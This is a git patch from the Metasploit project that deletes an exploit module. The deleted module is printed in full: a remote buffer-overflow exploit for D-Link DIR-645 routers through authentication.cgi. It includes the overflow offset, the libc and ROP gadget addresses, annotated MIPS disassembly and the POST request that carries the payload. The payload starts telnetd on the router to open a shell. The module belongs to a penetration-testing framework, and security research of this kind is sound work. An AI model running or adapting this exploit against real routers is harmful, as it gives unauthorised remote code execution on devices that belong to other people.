From 508998263b9ef1f87cbc8f6898552f68a76523e0 Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Tue, 17 Jun 2014 08:57:46 +0200 Subject: [PATCH] removed wrong module file --- .../http/dlink_authentication_rop_system.rb | 125 ------------------ 1 file changed, 125 deletions(-) delete mode 100644 modules/exploits/linux/http/dlink_authentication_rop_system.rb diff --git a/modules/exploits/linux/http/dlink_authentication_rop_system.rb b/modules/exploits/linux/http/dlink_authentication_rop_system.rb deleted file mode 100644 index 0f997dadbf..0000000000 --- a/modules/exploits/linux/http/dlink_authentication_rop_system.rb +++ /dev/null @@ -1,125 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = ManualRanking # the exploit as it is is excellent but we can only start the telnetd and connect to it - - HttpFingerprint = { :pattern => [ /Linux,\ HTTP\/1.0,\ DIR-/ ] } - - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link authentication.cgi Buffer Overflow', - 'Description' => %q{ - This module exploits an anonymous remote code execution vulnerability on different D-Link routers. - This module has been tested successfully on D-Link DIR645A1_FW103B11. Different other devices like the - DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable and they were tested within an emulated - environment. They are a little bit different in the first ROP gadget. - }, - 'Author' => - [ - 'Roberto Paleari', # Vulnerability discovery - 'Craig Heffner', # also discovered the vulnerability / help with some parts of this module - 'Michael Messner ', # Metasploit module and verification on different other routers - ], - 'License' => MSF_LICENSE, - 'Platform' => ['linux'], - 'Arch' => ARCH_CMD, - 'DefaultOptions' => { 'PAYLOAD' => 'generic/shell_bind_tcp' }, - 'References' => - [ - [ 'OSVDB', '95951' ], - [ 'EDB', '27283' ], - [ 'URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008' ], #advisory on vendor web site - [ 'URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000' ], #vendor web site of router - [ 'URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt' ] #original advisory - ], - 'Targets' => - [ - [ 'DLink DIR-645 1.03 - start telnetd', - { - 'Offset' => 1011, - 'LibcBase' => 0x2aaf8000, #Router - #'LibcBase' => 0x40854000, # QEMU environment - 'System' => 0x000531FF, # address of system - 'CalcSystem' => 0x000158C8, # calculate the correct address of system - 'CallSystem' => 0x000159CC, # call our system - } - ] - ], - 'DisclosureDate' => 'Feb 08 2013', - 'DefaultTarget' => 0)) - end - - def check - begin - res = send_request_cgi({ - 'uri' => "/authentication.cgi", - 'method' => 'GET' - }) - - if res && [200, 301, 302].include?(res.code) - return Exploit::CheckCode::Detected - end - rescue ::Rex::ConnectionError - return Exploit::CheckCode::Unknown - end - - Exploit::CheckCode::Unknown - end - - def exploit - lport = datastore['LPORT'] - cmd = "/usr/sbin/telnetd -p #{lport}" - - print_status("#{peer} - Trying to access the vulnerable URL...") - - unless check == Exploit::CheckCode::Detected - fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") - end - - # prepare our shellcode that triggers the crash: - shellcode = rand_text_alpha_upper(target['Offset']) # padding - shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system - shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4 - shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system) - - # .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5 - # .text:000159D0 21 28 60 02 move $a1, $s3 # not used - # .text:000159D4 21 30 20 02 move $a2, $s1 # not used - # .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system - # .text:000159DC 09 F8 20 03 jalr $t9 # call system - # .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system - - shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp - shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system) - - # .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget - # .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget - # .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address - - shellcode << rand_text_alpha_upper(16) # filler in front of our command - shellcode << cmd - - # now lets rock it ... - - print_status("#{peer} - Sending exploit ...") - - res = send_request_cgi({ - 'method' => 'POST', - #'uri' => "/authentication_gdb.cgi", #for debugging on the router - 'uri' => "/authentication.cgi", - 'cookie' => "uid=test", - 'encode_params' => false, - 'vars_post' => { - 'uid' => 'test', - 'password' => 'asd' << shellcode, - } - }) - end -end